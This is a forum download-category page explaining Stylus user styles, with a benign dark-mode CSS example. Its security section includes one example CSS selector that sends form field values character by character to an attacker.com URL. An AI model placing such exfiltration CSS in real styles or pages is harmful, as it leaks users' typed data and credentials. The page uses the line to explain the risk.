-
Who's Online 0 Members, 0 Anonymous, 11 Guests (See full list)
- There are no registered users currently online
-
Download Statistics
Stylus (user styles)
Stylus scripts — also commonly called "user styles" — are custom CSS stylesheets that you apply on top of websites using the Stylus browser extension (or similar extensions like Stylish). They let you override, modify, or completely redesign the visual appearance of any webpage.
How they work:
- You install the Stylus extension in Chrome, Firefox, Edge, or Opera.
- You create or install a "user style" — a chunk of CSS that targets specific elements on a site.
- When you visit that site, Stylus injects your CSS automatically, overriding the site's original styles.
Common uses:
- Dark mode for sites that don't have one
- Removing clutter — hiding ads, sidebars, popups, or other UI elements
- Improving readability — changing fonts, line spacing, contrast
- Custom layouts — making a site wider, narrower, or rearranging elements
- Accessibility tweaks — increasing font size, changing color schemes for colorblindness
Example of a simple Stylus script:
css
/* Target all pages on example.com */
@-moz-document domain("example.com") {
body {
background-color: #1a1a1a;
color: #e0e0e0;
font-family: "Atkinson Hyperlegible", sans-serif;
}
.sidebar {
display: none !important;
}
.main-content {
max-width: 800px !important;
margin: 0 auto !important;
}
}
The @-moz-document rule tells Stylus which URLs to apply the style to — you can use domain(), url(), url-prefix(), or regex patterns.
From a cybersecurity angle, user styles are worth knowing about because:
-
CSS injection / exfiltration vectors — a malicious Stylus script could use CSS selectors and
url()calls to exfiltrate data from form fields or attributes (e.g.,input[value^="a"] { background: url(https://attacker.com/a) }), leaking content character by character. - Supply chain risk — installing user styles from unverified sources (userstyles.world, etc.) without auditing the CSS could expose you to those same exfiltration techniques.
- Phishing — a style could visually alter a banking or login page to trick you into entering credentials into fake overlays.
No files in this category yet.
